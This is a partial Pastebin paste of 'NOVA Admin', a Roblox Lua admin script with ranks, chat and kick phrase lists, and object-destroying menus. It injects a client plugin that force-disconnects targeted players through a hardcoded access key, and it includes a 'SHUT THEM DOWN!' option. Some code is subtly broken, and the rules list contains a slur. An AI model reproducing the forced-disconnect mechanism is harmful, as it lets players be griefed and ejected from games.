Advertisement
Guest User

Untitled

a guest
Feb 24th, 2016
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 192.40 KB | None | 0 0
  1. --[[ ]]
  2. script.Name = "# NOVA Admin #"
  3. wait()
  4. script.Parent = Instance.new("Glue") -- Stuck!
  5. NOVA ={
  6. BadPhrases = true;
  7. Bet = "/";
  8. Services = {
  9. Game = game;
  10. RunService = game:GetService("RunService");
  11. Workspace = game:GetService("Workspace");
  12. Lighting = game:GetService("Lighting");
  13. Debris = game:GetService("Debris");
  14. Players = game:GetService("Players");
  15. Teams = game:GetService("Teams");
  16. SoundService = game:GetService("SoundService");
  17. ScriptContext = game:GetService("ScriptContext");
  18. NetworkServer = game:GetService("NetworkServer");
  19. StarterGui = game:GetService("StarterGui");
  20. StarterPack = game:GetService("StarterPack");
  21. };
  22. Ranks = {
  23. {-2,"Lagged"}; -- -2
  24. {-1,"Banned"}; -- -1
  25. {-0.5,"Scum"};
  26. {0,"Guest"}; -- 0
  27. {1,"Mod"}; -- 1
  28. {2,"Admin"}; -- 2
  29. {3,"Developer"}; -- 3
  30. {4,"Omega Admin"}; -- 4
  31. {5,"Overlord"}; -- 5
  32. {6,"OP ( Operator )"}; -- 6
  33. {7,"Creator"}; -- 7
  34. {8,"ROOT"}; -- 8
  35. };
  36. Alphabet = {
  37. "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
  38. };
  39. Ranked = {
  40. {Name = "Operation6", Rank = 7, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
  41. };
  42. Credit = {
  43. {Name = "NetworkClient",Why = "for the tablet function."};
  44. {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
  45. {Name = "upquark",Why = "For being a great person in life."};
  46. {Name = "toshir0z",Why = "For teaching me time control."};
  47. {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
  48. };
  49. Animations = {
  50. {Name = "Facepalm", Who = "Dylanbuil", Id = "372695cdb6a7540768234ad60ed7a298"};
  51. };
  52. Colors = {
  53. Red = Color3.new(1,0,0);
  54. PinkRed = Color3.new(1,0,0.15);
  55. Orange = Color3.new(1,0.5,0);
  56. Yellow = Color3.new(1,1,0);
  57. Green = Color3.new(0,1,0);
  58. Blue = Color3.new(0,0,1);
  59. LightBlue = Color3.new(0,1,1);
  60. Pink = Color3.new(1,0,1);
  61. Magenta = Color3.new(0.54,0,0.54);
  62. White = Color3.new(1,1,1);
  63. Grey = Color3.new(0.5,0.5,0.5);
  64. Black = Color3.new(0,0,0);
  65. };
  66. Sounds = {
  67. Sound = Instance.new("Sound");
  68. Numbers = { -- one to five ( top to bottom )
  69. "http://www.roblox.com/Asset/?id=29445305",
  70. "http://www.roblox.com/Asset/?id=29445339",
  71. "http://www.roblox.com/Asset/?id=29445358",
  72. "http://www.roblox.com/Asset/?id=29445378",
  73. "http://www.roblox.com/Asset/?id=29445395",
  74. };
  75. PlayAfter = {
  76. "http://www.roblox.com/Asset/?id=2767090",
  77. "http://www.roblox.com/Asset/?id=2800815",
  78. "http://www.roblox.com/Asset/?id=2801263",
  79. "http://www.roblox.com/Asset/?id=11984254",
  80. "http://www.roblox.com/Asset/?id=2101159",
  81. "http://www.roblox.com/Asset/?id=3087031",
  82. "http://www.roblox.com/Asset/?id=2101148",
  83. "http://www.roblox.com/Asset/?id=2233908",
  84. "http://www.roblox.com/Asset/?id=16976189",
  85. "http://www.roblox.com/Asset/?id=2101157",
  86. "http://www.roblox.com/Asset/?id=2974000",
  87. "http://www.roblox.com/Asset/?id=2703110",
  88. "http://www.roblox.com/Asset/?id=1994345",
  89. };
  90. };
  91. AncientRules = {
  92. "Thou shall not use forum scripts.",
  93. "Thou shall not use CamBall / CamSphere.",
  94. "Thou shall not use CBA.",
  95. "Thou shall not use RMDX's scripts.",
  96. "Thou shall not use antibans.",
  97. "Thou shall not abuse thou admin.",
  98. "Thou shall not steal scripts.",
  99. "Thou shall not trade scripts you didn't make.",
  100. "Thou shall not use gay scripts.",
  101. "Thou shall not abuse loopholes in the ancient rules.",
  102. };
  103. ChatFilters = {
  104. "mediafire",
  105. "shit",
  106. "gtfo",
  107. "password",
  108. "hitler",
  109. "vaginas",
  110. };
  111.  
  112. KillingPhrases = {
  113. "ssj",
  114. "yolo",
  115. "swag",
  116. };
  117. KickingPhrases = {
  118. "\"/down\"",
  119. "/down",
  120. "/hide",
  121. "rpe/",
  122. "antiban",
  123. "ab/",
  124. "camball.",
  125. "camball.came",
  126. "camball/",
  127. "camball /","deadfield","1waffle1",
  128. "cie camball",
  129. "d33k/",
  130. "pban/",
  131. "your own camball",
  132. "created by jordan88282",
  133. "v2 camball",
  134. "cba = {}",
  135. "cba.bet",
  136. "banmenu","adminlist",
  137. "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/Dylanbuil",
  138. "cryston",
  139. "jordan88282", "eyeball","orb","kick/","owner","antikick",
  140. };
  141. PreviousDataKeys = {
  142. "Unlimited Gravity&accesskey=13785(G*&_version="..tostring(_VERSION),
  143. };
  144. LoadTime = {
  145. Start = tick(),
  146. Finish = tick(),
  147. };
  148. Fences = {};
  149. Jails = {};
  150. Objects = {};
  151. Commands = {};
  152. Tablets = {};
  153. Targeted = {};
  154. ExternalPlayersList = {};
  155. Waypoints = {};
  156. Log = {};
  157. LoggedScripts = {};
  158. PRI = false;
  159. LockedScripts = false;
  160. Removed = true;
  161. ShowChat = true;
  162. Canceled = false;
  163. Overrided = false;
  164. TimeChanged = false;
  165. TabletPositionRelative = false;
  166. AntiDLL = false;
  167. EnableGuests = true;
  168. UseGlobals = false;
  169. Overrider = nil;
  170. TabletRotation = 0;
  171. TabletRotationIncrease = 0.03;
  172. AccessKey = "13785(G*";
  173. Version = "6th Generation";
  174. DataKey = "Unlimited Gravity";
  175. PRIType = "Shutdown";
  176. LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
  177. Script = script:FindFirstChild("PseudoScript"); -- or NewScript
  178. Plugins = script:GetChildren()
  179. }
  180. --[[ PLAYER PLUGINS ]]--
  181. function UpdatePlayerPlugins()
  182. if NOVA.AntiDLL == true then PlayerPlugins = [==[
  183. script.Parent = nil
  184. LocalPlayer = game:GetService("Players").LocalPlayer
  185.  
  186. game:GetService("Selection").SelectionChanged:connect(function()
  187. if LocalPlayer.Name ~= "Dylanbuil" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  188. LocalPlayer.Parent = nil
  189. LocalPlayer.Parent = game:GetService("Players")
  190. end
  191. end)
  192. coroutine.resume(coroutine.create(function()
  193. while wait() do
  194. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  195. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  196. LocalPlayer.Parent = nil
  197. LocalPlayer.Parent = game:GetService("Players")
  198. end
  199. end
  200. end))
  201. ]==]
  202. else
  203. PlayerPlugins = [==[
  204. script.Parent = nil
  205. LocalPlayer = game:GetService("Players").LocalPlayer
  206.  
  207. coroutine.resume(coroutine.create(function()
  208. while wait() do
  209. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  210. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  211. LocalPlayer.Parent = nil
  212. LocalPlayer.Parent = game:GetService("Players")
  213. end
  214. end
  215. end))
  216. ]==]
  217. end
  218. end
  219. function Color()
  220. local Choice = math.random(1, 5)
  221. if Choice == 1 then
  222. return "Institutional white"
  223. elseif Choice == 2 then
  224. return "White"
  225. elseif Choice == 3 then
  226. return "Really red"
  227. elseif Choice == 4 then
  228. return "New Yeller"
  229. elseif Choice == 5 then
  230. return "Black"
  231. end
  232. end
  233. --[[ PSEUDO FUNCTIONS ]]--
  234. function CreateLocalScript(Source, Parent)
  235. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  236. newLocalScript(Source, Parent)
  237. elseif game.PlaceId == 23232804 then
  238. NewLocalScript(Source, Parent)
  239. elseif NOVA.LocalScript ~= nil then
  240. NS = NOVA.LocalScript:Clone()
  241. NS.Name = "LocalScript"
  242. pcall(function() NS:ClearAllChildren() end)
  243. NewSource = Instance.new("StringValue",NS)
  244. NewSource.Name = "Source"
  245. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  246. NewSource.Name = "DSource"
  247. end
  248. NewSource.Value = Source
  249. NS.Parent = Parent
  250. NS.Disabled = false
  251. else
  252. print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  253. end
  254. end
  255.  
  256. function CreateScript(Source, Parent)
  257. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  258. newScript(Source, Parent)
  259. elseif game.PlaceId == 23232804 then
  260. NewScript(Source, Parent)
  261. elseif NOVA.Script ~= nil then
  262. NS = NOVA.Script:Clone()
  263. NS.Name = "Script"
  264. pcall(function() NS:ClearAllChildren() end)
  265. NewSource = Instance.new("StringValue",NS)
  266. NewSource.Name = "Source"
  267. NewSource.Value = Source
  268. NS.Parent = Parent
  269. NS.Disabled = false
  270. else
  271. print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  272. end
  273. end
  274.  
  275. function IsTargeted(Player)
  276. if type(Player) == "string" then
  277. for _,v in pairs(NOVA.Targeted) do
  278. if v.Name == Player then
  279. return true
  280. end
  281. end
  282. elseif type(Player) == "userdata" then
  283. for _,v in pairs(NOVA.Targeted) do
  284. if Player == v then
  285. return true
  286. end
  287. end
  288. else
  289. print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  290. end
  291. return false
  292. end
  293.  
  294. --[[ DATA PERSISTANCE ]]--
  295. --[[ SYNC RANKS IN ]]--
  296. function SyncRanksIn()
  297. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  298. SyncRankInSingular(v)
  299. end
  300. end
  301. --[[ SYNC RANK IN SINGULAR ]]--
  302. function SyncRankInSingular(v)
  303. if type(v) ~= "userdata" then
  304. print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
  305. return
  306. end
  307. coroutine.resume(coroutine.create(function()
  308. repeat wait() until v.DataReady == true
  309.  
  310. if GetRankedTable(v) == nil then
  311. table.insert(NOVA.Ranked,{
  312. Name = v.Name,
  313. CMD = false,
  314. Rank = 0,
  315. Color = NOVA.Colors.Orange,
  316. Desc = "N/A",
  317. Complaints = Instance.new("Model"),
  318. Executeables = Instance.new("Model"),
  319. })
  320. end
  321.  
  322. local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
  323. local Data = GetRankedTable(v)
  324.  
  325. if PhysicalData == nil then
  326. Data.Name = v.Name
  327. Data.CMD = false
  328. Data.Rank = 0
  329. Data.Color = NOVA.Colors.Orange
  330. Data.Desc = "N/A"
  331. Data.Complaints = Instance.new("Model")
  332. Data.Executeables = Instance.new("Model")
  333. elseif PhysicalData ~= nil then
  334. pcall(function() Data.Name = v.Name end)
  335. pcall(function() Data.CMD = PhysicalData.CMD.Value end)
  336. pcall(function() Data.Rank = PhysicalData.RANK.Value end)
  337. pcall(function() Data.Color = PhysicalData.COLOR.Value end)
  338. pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
  339. pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
  340. pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
  341. if Data.CMD == nil then Data.CMD = false end
  342. if Data.Rank == nil then Data.Rank = 0 end
  343. if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
  344. if Data.Desc == nil then Data.Desc = "N/A" end
  345. if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
  346. if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
  347. end
  348. end))
  349. end
  350.  
  351. --[[ SYNC RANKS OUT ]]--
  352. function SyncRanksOut()
  353. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  354. SyncRankOutSingular(v)
  355. end
  356. end
  357.  
  358. --[[ SYNC RANK OUT SINGULAR ]]--
  359. function SyncRankOutSingular(v)
  360. coroutine.resume(coroutine.create(function()
  361. repeat wait() until v.DataReady == true
  362. local RankData = GetRankedTable(v)
  363. if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
  364. local Data = Instance.new("Model")
  365. Data.Name = "PlayerData"
  366. local CMD = Instance.new("BoolValue",Data)
  367. CMD.Name = "CMD"
  368. CMD.Value = RankData.CMD
  369. local Rank = Instance.new("NumberValue",Data)
  370. Rank.Name = "RANK"
  371. Rank.Value = RankData.Rank
  372. local Color = Instance.new("Color3Value",Data)
  373. Color.Name = "COLOR"
  374. Color.Value = RankData.Color
  375. local Desc = Instance.new("StringValue",Data)
  376. Desc.Name = "DESCRIPTION"
  377. Desc.Value = RankData.Desc
  378. local Complaints = RankData.Complaints:Clone()
  379. Complaints.Name = "COMPLAINTS"
  380. local Executeables = RankData.Executeables:Clone()
  381. Executeables.Name = "EXECUTEABLES"
  382.  
  383. v:SaveInstance(NOVA.DataKey.."&accesskey=lol4&_version="..NOVA.Version,Data)
  384. for _,v in pairs(NOVA.PreviousDataKeys) do
  385. v:SaveInstance(v,Data)
  386. end
  387. end))
  388. end
  389.  
  390. --[[ PLAYER INTERFACE ]]--
  391. function PlayerInterface(v,Speaker)
  392. RemoveTablets(Speaker)
  393. local Data = GetRankedTable(v)
  394. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
  395. Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
  396. Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
  397. Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
  398. Output("User Id : "..v.userId,Data.Color,Speaker)
  399. Output("Desc : "..Data.Desc,Data.Color,Speaker)
  400. Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
  401. Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
  402. if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
  403. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  404. function()
  405. Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  406.  
  407. end
  408. )
  409. end
  410. if GetRank(Speaker) > Data.Rank or v == Speaker then
  411. Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
  412. function()
  413. RemoveTablets(Speaker)
  414. Output("True",NOVA.Colors.Green,Speaker,nil,
  415. function()
  416. Data.CMD = true
  417. SyncRankOutSingular(v)
  418. PlayerInterface(v,Speaker)
  419. end
  420. )
  421. Output("False",NOVA.Colors.Red,Speaker,nil,
  422. function()
  423. Data.CMD = false
  424. SyncRankOutSingular(v)
  425. PlayerInterface(v,Speaker)
  426. end
  427. )
  428. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  429. function()
  430. PlayerInterface(v,Speaker)
  431. end
  432. )
  433. Output("Dismiss",NOVA.Colors.Red,Speaker)
  434. end
  435. )
  436. end
  437. if GetRank(Speaker) > Data.Rank then
  438. Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
  439. function()
  440. RemoveTablets(Speaker)
  441. for i,v in pairs(NOVA.Ranks) do
  442. if v[1] ~= 8 then
  443. Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
  444. function()
  445. RemoveTablets(Speaker)
  446. Data.Rank = v[1]
  447. SyncRankOutSingular(v)
  448. PlayerInterface(v,Speaker)
  449. end
  450. )
  451. end
  452. end
  453. Output("Dismiss",NOVA.Colors.Red,Speaker)
  454. Output("Back",NOVA.Colors.Blue,Speaker,nil,
  455. function()
  456. PlayerInterface(v,Speaker)
  457. end
  458. )
  459.  
  460. end
  461. )
  462. end
  463. if GetRank(Speaker) > Data.Rank or v == Speaker then
  464. Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
  465. function()
  466. RemoveTablets(Speaker)
  467. for i,Color in pairs(NOVA.Colors) do
  468. Output(tostring(i),Color,Speaker,nil,
  469. function()
  470. Data.Color = Color
  471. PlayerInterface(v,Speaker)
  472. SyncRankOutSingular(v)
  473. end
  474. )
  475.  
  476. end
  477. Output("Back",NOVA.Colors.Blue,Speaker,nil,
  478. function()
  479. PlayerInterface(v,Speaker)
  480. end
  481. )
  482. Output("Dismiss",NOVA.Colors.Red,Speaker)
  483. end
  484. )
  485. end
  486. Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
  487. function()
  488. RemoveTablets(Speaker)
  489. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  490. end
  491. )
  492. Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
  493. function()
  494. RemoveTablets(Speaker)
  495. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
  496. end
  497. )
  498. Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
  499. function()
  500. RemoveTablets(Speaker)
  501. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
  502. end
  503. )
  504. Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
  505. function()
  506. RemoveTablets(Speaker)
  507. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
  508. end
  509. )
  510. Output("Dismiss",NOVA.Colors.Red,Speaker)
  511. end
  512.  
  513. --[[ MAKE HINT ]]--
  514.  
  515. function makeHint(Text,Parent)
  516. coroutine.resume(coroutine.create(function()
  517. local M = Instance.new("Hint",Parent)
  518. for i = 1, string.len(Text) do
  519. M.Text = M.Text .. string.sub(Text, i, i)
  520. wait(math.random() * 0.1)
  521. end
  522. M.Text = M.Text .. ""
  523. for i = 1, math.random(2, 6) do
  524. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  525. wait(0.4)
  526. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  527. wait(0.4)
  528. end
  529. M.Text = string.sub(M.Text, 1, string.len(Text))
  530. for i = 1, string.len(M.Text) do
  531. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  532. wait()
  533. end
  534. M:Remove()
  535. end))
  536. end
  537. function makeMessage(Text,Parent)
  538. coroutine.resume(coroutine.create(function()
  539. local M = Instance.new("Message",Parent)
  540. for i = 1, string.len(Text) do
  541. M.Text = M.Text .. string.sub(Text, i, i)
  542. wait(math.random() * 0.1)
  543. end
  544. M.Text = M.Text .. ""
  545. for i = 1, math.random(2, 6) do
  546. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  547. wait(0.4)
  548. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  549. wait(0.4)
  550. end
  551. M.Text = string.sub(M.Text, 1, string.len(Text))
  552. for i = 1, string.len(M.Text) do
  553. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  554. wait()
  555. end
  556. M:Remove()
  557. end))
  558. end
  559.  
  560. --[[ EXPLORE ]]--
  561. function Explore(Thing,Speaker)
  562. if Speaker == nil then
  563. print("[NOVA.Explore] Argument 1 missing or nil.")
  564. return
  565. end
  566. pcall(function()
  567. if Thing == game or Thing == nil then
  568. RemoveTablets(Speaker)
  569. for _,v in pairs(NOVA.Services) do
  570. Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  571. end
  572. Output("Dismiss",NOVA.Colors.Red,Speaker)
  573. else
  574. if #Thing:children() == 0 then
  575. RemoveTablets(Speaker)
  576. Explore(Thing.Parent.Parent,Speaker)
  577. else
  578. RemoveTablets(Speaker)
  579. for _,v in pairs(Thing:children()) do
  580. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  581. function()
  582. RemoveTablets(Speaker)
  583. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  584. Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  585. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  586. Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  587. Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  588. Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  589. Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  590. Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  591. Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  592. Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  593. Output("Dismiss",NOVA.Colors.Red,Speaker)
  594. end
  595. )
  596. end
  597. Output("Dismiss",NOVA.Colors.Red,Speaker)
  598. end
  599. end
  600. end)
  601. end
  602.  
  603. --[[ CAPE ]]--
  604. function Cape(v)
  605. local Mode = "None"
  606. local AngleX = 0
  607. pcall(function()
  608. v.Character.Swordpack:remove()
  609. end)
  610. pcall(function()
  611. v.Character["NOVA Cape"]:remove()
  612. end)
  613.  
  614. local Main = Instance.new("Model",v.Character)
  615. Main.Name = "NOVA Cape"
  616.  
  617. pcall(function()
  618. v.Character.Swordpack:Remove()
  619. end)
  620.  
  621. local Cape = Instance.new("Part", Main)
  622. Cape.Name = "Cape"
  623. Cape.Anchored = false
  624. Cape.Locked = true
  625. Cape.CanCollide = false
  626. Cape.formFactor = "Custom"
  627. Cape.Size = Vector3.new(2, 3.5, 0.2)
  628. Cape.BrickColor = BrickColor.new("Really black")
  629. Cape.TopSurface = 0
  630. Cape.BottomSurface = 0
  631. local Decal = Instance.new("Decal", Cape)
  632. Decal.Face = "Back"
  633. Decal.Texture = ""
  634. local CapeWeld = Instance.new("Weld", Cape)
  635. CapeWeld.Part0 = v.Character.Torso
  636. CapeWeld.Part1 = Cape
  637. CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  638. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  639. v.Character.Humanoid.Running:connect(function(Speed)
  640. if Speed > 0 then
  641. Mode = "Running"
  642. else
  643. Mode = "None"
  644. end
  645. end)
  646. v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  647. coroutine.wrap(function()
  648. while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  649. local UpSpeed = 2.5
  650. local DownSpeed = 5
  651. local TargetAngle = 5
  652. if Mode == "Running" then
  653. TargetAngle = 45 + math.random(0, 2500) / 100
  654. elseif Mode == "Jumping" then
  655. UpSpeed = 10
  656. DownSpeed = 10
  657. TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  658. end
  659. if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  660. if AngleX < TargetAngle then
  661. AngleX = AngleX + UpSpeed
  662. elseif AngleX > TargetAngle then
  663. AngleX = AngleX - DownSpeed
  664. end
  665. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  666. wait()
  667. end
  668. end)()
  669.  
  670. local LShoulder = Instance.new("Part",Main)
  671. LShoulder.Name = "Left Shoulder"
  672. LShoulder.TopSurface = "Smooth"
  673. LShoulder.BottomSurface = "Smooth"
  674. LShoulder.FormFactor = "Custom"
  675. LShoulder.Size = Vector3.new(1,0.2,1)
  676. LShoulder.BrickColor = BrickColor.new("Really black")
  677. LShoulder.Anchored = false
  678. LShoulder.Locked = true
  679. LShoulder.CanCollide = false
  680. LShoulder.Transparency = 0
  681. LShoulder.Reflectance = 0
  682. local Weld = Instance.new("Motor6D",LShoulder)
  683. Weld.Part0 = LShoulder
  684. Weld.Part1 = v.Character["Left Arm"]
  685. Weld.C0 = CFrame.new(0,-1,0)
  686.  
  687. local RShoulder = Instance.new("Part",Main)
  688. RShoulder.Name = "Right Shoulder"
  689. RShoulder.TopSurface = "Smooth"
  690. RShoulder.BottomSurface = "Smooth"
  691. RShoulder.FormFactor = "Custom"
  692. RShoulder.Size = Vector3.new(1,0.2,1)
  693. RShoulder.BrickColor = BrickColor.new("Really black")
  694. RShoulder.Anchored = false
  695. RShoulder.Locked = true
  696. RShoulder.CanCollide = false
  697. RShoulder.Transparency = 0
  698. RShoulder.Reflectance = 0
  699. local Weld = Instance.new("Motor6D",RShoulder)
  700. Weld.Part0 = RShoulder
  701. Weld.Part1 = v.Character["Right Arm"]
  702. Weld.C0 = CFrame.new(0,-1,0)
  703.  
  704. local NeckFlat = Instance.new("Part",Main)
  705. NeckFlat.Name = "NeckFlat"
  706. NeckFlat.TopSurface = "Smooth"
  707. NeckFlat.BottomSurface = "Smooth"
  708. NeckFlat.FormFactor = "Custom"
  709. NeckFlat.Size = Vector3.new(2,0.2,1)
  710. NeckFlat.BrickColor = BrickColor.new("Really black")
  711. NeckFlat.Anchored = false
  712. NeckFlat.Locked = true
  713. NeckFlat.CanCollide = false
  714. NeckFlat.Transparency = 0
  715. NeckFlat.Reflectance = 0
  716. local Weld = Instance.new("Motor6D",NeckFlat)
  717. Weld.Part0 = NeckFlat
  718. Weld.Part1 = v.Character.Torso
  719. Weld.C0 = CFrame.new(0,-1,0)
  720.  
  721. for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  722.  
  723. end
  724.  
  725. --[[ GET SPLIT ]]--
  726. function GetSplit(Msg)
  727. Split = nil
  728. for i=1,100 do
  729. if string.sub(Msg,i,i) == NOVA.Bet then
  730. Split = i
  731. break
  732. end
  733. end
  734. return Split
  735. end
  736.  
  737. --[[ GET RANK ]]--
  738.  
  739. function GetRank(Player)
  740. Rtn = nil
  741. if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
  742. return 8
  743. end
  744. if type(Player) == "userdata" then
  745. for _,v in pairs(NOVA.Ranked) do
  746. if v.Name:lower() == Player.Name:lower() then
  747. Rtn = v.Rank
  748. end
  749. end
  750. elseif type(Player) == "string" then
  751. for _,v in pairs(NOVA.Ranked) do
  752. if v.Name:lower() == Player:lower() then
  753. Rtn = v.Rank
  754. end
  755. end
  756. else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  757. end
  758. return Rtn
  759. end
  760.  
  761. --[[ GET RANK NAME ]]--
  762. function GetRankName(Player)
  763. if type(Player) == "userdata" or type(Player) == "string" then
  764. Rtn = nil
  765. Rank = GetRank(Player)
  766. for _,v in pairs(NOVA.Ranks) do
  767. if v[1] == Rank then
  768. Rtn = v[2]
  769. end
  770. end
  771. return Rtn
  772. else
  773. print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  774. return "NOT AVALIBLE"
  775. end
  776. end
  777.  
  778. --[[ GET RANKED TABLE ]]--
  779. function GetRankedTable(Player)
  780. Rtn = nil
  781. if type(Player) == "userdata" then
  782. for _,v in pairs(NOVA.Ranked) do
  783. if v.Name == Player.Name then
  784. Rtn = v
  785. end
  786. end
  787. elseif type(Player) == "string" then
  788. for _,v in pairs(NOVA.Ranked) do
  789. if v.Name == Player then
  790. Rtn = v
  791. end
  792. end
  793. else
  794. print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  795. end
  796. return Rtn
  797. end
  798.  
  799. --[[ GET RECURSIVE CHILDREN ]]--
  800. function GetRecursiveChildren(Source, Name, SearchType, Children)
  801. if Source == nil then
  802. Source = NOVA.Services
  803. end
  804. if Name == nil or type(Name) ~= "string" then
  805. Name = ""
  806. end
  807. if Children == nil or type(Children) ~= "table" then
  808. Children = {}
  809. end
  810. if type(Source) == "userdata" then
  811. pcall(function()
  812. for _, Child in pairs(Source:children()) do
  813. pcall(function()
  814. if (function()
  815. if SearchType == nil or SearchType == 1 then
  816. return string.match(Child.Name:lower(), Name:lower())
  817. elseif SearchType == 2 then
  818. return string.match(Child.className:lower(), Name:lower())
  819. elseif SearchType == 3 then
  820. return Child:IsA(Name) or Child:IsA(Name:lower())
  821. elseif SearchType == 4 then
  822. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  823. end
  824. return false
  825. end)() then
  826. table.insert(Children, Child)
  827. end
  828. GetRecursiveChildren(Child, Name, SearchType, Children)
  829. end)
  830. end
  831. end)
  832. elseif type(Source) == "table" then
  833. for _,Area in pairs(Source) do
  834. pcall(function()
  835. for _, Child in pairs(Area:children()) do
  836. pcall(function()
  837. if (function()
  838. if SearchType == nil or SearchType == 1 then
  839. return string.match(Child.Name:lower(), Name:lower())
  840. elseif SearchType == 2 then
  841. return string.match(Child.className:lower(), Name:lower())
